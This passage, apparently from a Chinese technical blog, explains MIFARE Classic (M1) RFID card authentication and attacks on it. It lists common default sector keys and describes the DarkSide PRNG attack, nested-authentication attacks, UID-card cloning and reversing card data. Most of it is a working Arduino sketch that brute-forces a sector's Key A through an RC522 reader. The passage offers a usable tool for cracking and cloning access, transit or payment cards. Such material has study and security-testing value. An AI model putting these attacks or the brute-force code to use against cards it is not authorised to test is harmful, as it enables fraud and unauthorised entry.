1. 密码A: 不可读，验证KEYA或KEYB正确后，可写(更改)
2. 存取控制: 验证KEYA或KEYB正确后，可读、可写
3. 密码B: 验证KEYA或KEYB正确后，可读、可写 

        

          
        
        
        

          

          AI 代码解读
        
      
      

0x3: 三次握手密钥认证过程

1. 激活MCM
2. MCM软复位
3. 向MCM下载密码(LOAD KEY)，校验传输密码正确后可向MCM的KEY-RAM写入用户自己设定的密码
//以上操作与卡无关
4. 请求应答(ANSWER TO REQUEST): 寻卡 
5. 防冲突(ANTICOLLISION): 选择唯一一张卡 
6. 选择标记(SELECT): 激活所选择的卡 
7. 认证(AUTHENTICATION): 安全性
8. 读写操作(读、写、加值、减值): 交换数据(READ/WRITE/INCREAMENT/DECREMENT)
9. 停止(HALT): 置卡为停止模式，防止重复操作

        

          
        
        
        

          

          AI 代码解读
        
      
      

1. 爆破卡密码 
在 CRYPTO1 算法的细节没有被泄露之前，最有效的方法就是暴破了。还有一个很重要的原因就是，M1 卡是被动卡，需要读卡器为它提供能量，一旦读卡器切断了电源，卡中的临时数据就会丢失，这样就没有办法记录下攻击者究竟输错了多少次密码，卡永远不会因为密码输入错误太多而被锁定，只要攻击者有时间慢慢尝试，密码肯定会出来的
这里列举一些常见的 M1 卡密钥
FFFFFFFFFFFF
A0A1A2A3A4A5
D3F7D3F7D3F7
A0B0C0D0E0F0
A1B1C1D1E1F1
B0B1B2B3B4B5
4D3A99C351DD
1A982C7E459A
AABBCCDDEEFF
B5FF67CBA951
714C5C886E97
587EE5F9350F
A0478CC39091
533CB6C723F6
24020000DBFD
000012ED12ED
8FD0A4F256E9
EE9BD361B01B

2. 重放攻击(PRNG漏洞): DarkSide攻击(密钥流窃听)
重放攻击是基于 M1 卡的 PRNG 算法漏洞实现的，当卡接近读卡器获得能量的时候，就会开始生成随机数序列，但这有一个问题，因为卡是被动式卡，本身自己不带电源，所以断电后数据没办法保存，这时基于 LSRF 的 PRNG 算法缺陷就出来了，每次断电后再重新接入电，卡就会生成一摸一样的随机数序列，所以我们就有可能把这个序列计算出来，所以只要我们控制好时间，就能够知道在获得能量后的某一刻时间的随机数是多少，然后进行重放攻击，就有可能篡改正常的数据。如果卡的所有权在我们手上的时候，我们可以在较短的时间内实现破解

这种攻击方式类似于WPA WIFI密码破解，需要基于嗅探抓到握手包，然后通过算法本身可逆的特性得到密钥KEY
1) 以读卡器的挑战值做变量
这里说的读卡器实际上指的是用来模拟读卡器的攻击工具，下个攻击亦如此。这种攻击又可称选择密文攻击，想法用工具控制被攻击的卡每次在认证时产生同一挑战值，而读卡端则回应不同值。这种攻击需要大约28500次的认证过程，用时约15分钟，然后计算密钥，用时约一分钟

2) 卡的挑战值做变量
这种攻击与攻击1类似，但需要使自己的工具的挑战值为常数，而令卡的挑战值数不断变化。需要预制一个384 GB的状态表。要进行4096次认证。大约用时2分钟


3. 克隆卡片
这是一个很简单也很实用的方法，因为M1卡自带扇区可以保存数据，所以大部分的卡片会选择加密扇区后将数据保存在里面，所以我们完全可以克隆一张带有一样数据的克隆卡。这就会用到一种叫 UID 卡的特殊 M1 模拟卡，前面说到每张 M1 卡在 0 扇区第 1 段都会有一个全球唯一的 UID 编号，而且这个块在出厂之后是被厂商设定保护无法修改的，UID 卡就是没有设定 0 扇区保护的卡，所以你可以随意的修改你想要的 UID，这样我们就可以克隆出一张连 UID 都相同的卡片了
跟ID卡一样，复制IC卡的UID号码写入到新的空白IC卡中(这个时候IC卡被当作一张可编辑的ID使用)

4. 验证漏洞(嵌套认证攻击)
验证漏洞是目前使用最多的M1破解手段，在读卡器尝试去读取一个扇区时，卡会首先发一个随机数给读卡器，读卡器接到随机数之后利用自身的算法加密这个随机数再反馈回给卡，卡再用自己的算法计算一次，发现结果一致的话就认为读卡器是授权了的，然后就用开始自己的算法加密会话并跟读卡器进行传送数据。这时候问题就来了，当我们再次尝试去访问另一个扇区，卡片又会重复刚才那几个步骤，但此时卡跟读卡器之间的数据交换已经是被算法加密了的，而这个算法又是由扇区的密钥决定的，所以密钥就被泄露出来了。因此验证漏洞要求我们至少知道一个扇区的密钥，但目前大部分的扇区都没有全部加密，所以很容易就会被破解

5. 数据区段加密算法破解
这是在已知或破解出目标扇区的KeyA/KeyB密钥，且控制位至少包含可读/可写的前提下，读取出指定块区的dump文件后，通过多次"刷卡消费"得到多份不同的dump文件，通过后续的对比和分析逆向出卡本身业务算法逻辑的一种攻击方式

        

          
        
        
        

          

          AI 代码解读
        
      
      

5. 实验过程及相关Arduino

#include <SPI.h>
#include <RFID.h>
#include <EEPROM.h>

//4字节卡序列号，第5字节为校验字节
uchar serNum[5]; 

//扇区A密码，16个扇区，每个扇区密码6Byte
uchar sectorKeyA[16][16] = {
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //1
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //2
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //3
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //4
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //5
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //6
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //7
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //8
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //9
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //10
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //11
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //12
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //13
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //14
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //15
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}   //16
};
uchar sectorNewKeyA[16][16] = {
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //1
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //2
  {0xff, 0x07, 0x80, 0x69, 0xFF, 0xFF},   //3
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //4
  {0xFF, 0xFF, 0xFF, 0xFF, 0xff, 0x07},   //5
  {0x80 ,0x69, 0xFF, 0xFF, 0xFF, 0xFF},   //6
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //7
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //8
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //9
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //10
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //11
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //12
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //13
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //14
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //15
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}   //16
};
                               
//D10 - 读卡器CS引脚、D5 - 读卡器RST引脚
RFID rfid(10,5);   
uchar status;
uchar str[MAX_LEN];  //MAX_LEN为16，数组最大长度
 

void initSectorKeyEEPROM(){
  EEPROM.write(1, 255); //keyIndex_1
  EEPROM.write(2, 255); //keyIndex_2
  EEPROM.write(3, 255); //keyIndex_3
  EEPROM.write(4, 255); //keyIndex_4
  EEPROM.write(5, 255); //keyIndex_5
  EEPROM.write(6, 240); //keyIndex_6
}

uchar sectorKeys[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

int addSector(){
  int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
  int havaCracked ;
  
  keyIndex_1 = EEPROM.read(1);  
  keyIndex_2 = EEPROM.read(2);   
  keyIndex_3 = EEPROM.read(3);  
  keyIndex_4 = EEPROM.read(4);   
  keyIndex_5 = EEPROM.read(5);   
  keyIndex_6 = EEPROM.read(6);  
  
  if(keyIndex_1 >= 255){
    if(keyIndex_2 >= 255){
      if(keyIndex_3 >= 255){
        if(keyIndex_4 >= 255){
          if(keyIndex_5 >= 255){
            if(keyIndex_6 >= 255){
              Serial.println("crack error!, key reach the limit"); 
              havaCracked = 1; EEPROM.write(0, havaCracked);
            }else{
              keyIndex_6++;
            }
          }else{
            keyIndex_5++;
          }
        }else{
          keyIndex_4++;
        }
      }else{
        keyIndex_3++;
      } 
    }else{
      keyIndex_2++;
    }  
  }else{
    keyIndex_1++;
  }

  EEPROM.write(1, keyIndex_1); //keyIndex_1
  EEPROM.write(2, keyIndex_2); //keyIndex_2
  EEPROM.write(3, keyIndex_3); //keyIndex_3
  EEPROM.write(4, keyIndex_4); //keyIndex_4
  EEPROM.write(5, keyIndex_5); //keyIndex_5
  EEPROM.write(6, keyIndex_6); //keyIndex_6
}

void printSector(){
  int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
  
  keyIndex_1 = EEPROM.read(1); Serial.print(keyIndex_1); Serial.print('\t'); 
  keyIndex_2 = EEPROM.read(2); Serial.print(keyIndex_2); Serial.print('\t'); 
  keyIndex_3 = EEPROM.read(3); Serial.print(keyIndex_3); Serial.print('\t');  
  keyIndex_4 = EEPROM.read(4); Serial.print(keyIndex_4); Serial.print('\t');  
  keyIndex_5 = EEPROM.read(5); Serial.print(keyIndex_5); Serial.print('\t');  
  keyIndex_6 = EEPROM.read(6); Serial.print(keyIndex_6); Serial.print('\t');  
 
  Serial.println(" "); 
}

//破解卡指定扇区密码 
void crackSector(int sectorNum){
  unsigned char status;  
  int havaCracked;  
  int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
  
  //printSector(); 

  keyIndex_1 = EEPROM.read(1);  
  keyIndex_2 = EEPROM.read(2);   
  keyIndex_3 = EEPROM.read(3);  
  keyIndex_4 = EEPROM.read(4);   
  keyIndex_5 = EEPROM.read(5);   
  keyIndex_6 = EEPROM.read(6);  
  uchar sectorKeys[6] = {(uchar)keyIndex_1, (uchar)keyIndex_2, (uchar)keyIndex_3, (uchar)keyIndex_4, (uchar)keyIndex_5, (uchar)keyIndex_6};
  status = rfid.auth(PICC_AUTHENT1A, sectorNum * 4, sectorKeys, serNum);        //认证
  if (status == MI_OK) { 
    Serial.println("crack success!");  
    Serial.print("sector ");  Serial.print(sectorNum); Serial.print(" key:  "); 
    printSector();
    havaCracked = 1; EEPROM.write(0, havaCracked);
    //return;
  }else{
    addSector(); 
  } 
}


//读卡
void readSector(int blockNum, unsigned char *recvData){ 
  unsigned char status;
  //选择操作的块地址0～63
  uchar blockAddr;     
  blockAddr = blockNum;   
                             
  status = rfid.auth(PICC_AUTHENT1A, blockAddr, sectorNewKeyA[blockAddr/4], serNum);        //认证
  if (status == MI_OK) { 
    status = rfid.read(blockAddr, recvData);
    if (status == MI_OK) {
      //Serial.println("Read from the card ,the data is : ");
      for (int i=0; i<MAX_LEN; i++) {
        Serial.print(recvData[i]);
        Serial.print('\t');
      }
      Serial.println(" ");
    }
  }
  else{
    Serial.println("Auth error");
  }
  //Serial.println(" ");
}
 

void setup()
{
  int havaCracked = 0;
  int crackSectorIndex = 0;
  Serial.begin(9600);
  SPI.begin(); 
  rfid.init(); //初始化
  Serial.print("init ");

  EEPROM.write(0, havaCracked); //havaCracked
  EEPROM.write(10, crackSectorIndex); //havaCracked

  initSectorKeyEEPROM();
}


void loop()
{
   int havaCracked = 0;
   int crackSectorIndex = 0;
   uchar RC_size; 
   
  //Search card, return card types
  if (rfid.findCard(PICC_REQIDL, serNum) == MI_OK) {
    //Serial.println("Find the card!");
    // Show card type
    //ShowCardType(serNum);
    
    //防冲突检测,读取卡序列号
    if (rfid.anticoll(serNum) == MI_OK) {
      //Serial.print("The card's number is  : ");
      
      //显示卡序列号
      for(int i = 0; i < 4; i++){
        //Serial.print(0x0F & (serNum[i] >> 4),HEX);
        //Serial.print(0x0F & serNum[i],HEX);
      }
      //Serial.println("");
    }
    
    //选卡（锁定卡片，防止多数读取，去掉本行将连续读卡），并返回卡容量
    RC_size = rfid.selectTag(serNum);
    if (RC_size != 0) {
      //Serial.print("Lock Card ok!  Size: ");
      //Serial.println(RC_size);
    }

    havaCracked = EEPROM.read(0);
    //Serial.print("havaCracked: ");  Serial.println(havaCracked);
    //Serial.print("EEPROM.read(10): ");  Serial.println(EEPROM.read(10));
    if(havaCracked == 1 && EEPROM.read(10) <= 15){
        crackSectorIndex = EEPROM.read(10);
        crackSectorIndex++;
        EEPROM.write(10, crackSectorIndex);
 
        EEPROM.write(0, 0);

        initSectorKeyEEPROM();
    } 
    else if(havaCracked == 0){
      //Serial.println("starting crack the card: ..."); 
      crackSectorIndex = EEPROM.read(10);
      crackSector(crackSectorIndex);
    }   
    
    //      
  }else{
    memset(serNum,0,sizeof(uchar) * 5); 
  }
  //rfid.halt();  //命令卡片进入休眠状态
  //清空状态
  memset(serNum,0,sizeof(uchar) * 5);
  memset(str,0,sizeof(uchar) * MAX_LEN);
  status = '\x00';
}
 
void ShowCardType(unsigned char * type)
{
  Serial.print("Card type: ");
  if(type[0]==0x04&&type[1]==0x00) 
    Serial.println("MFOne-S50");
  else if(type[0]==0x02&&type[1]==0x00)
    Serial.println("MFOne-S70");
  else if(type[0]==0x44&&type[1]==0x00)
    Serial.println("MF-UltraLight");
  else if(type[0]==0x08&&type[1]==0x00)
    Serial.println("MF-Pro");
  else if(type[0]==0x44&&type[1]==0x03)
    Serial.println("MF Desire");
  else
    Serial.println("Unknown");
}	

        

          
        
        
        

          

          AI 代码解读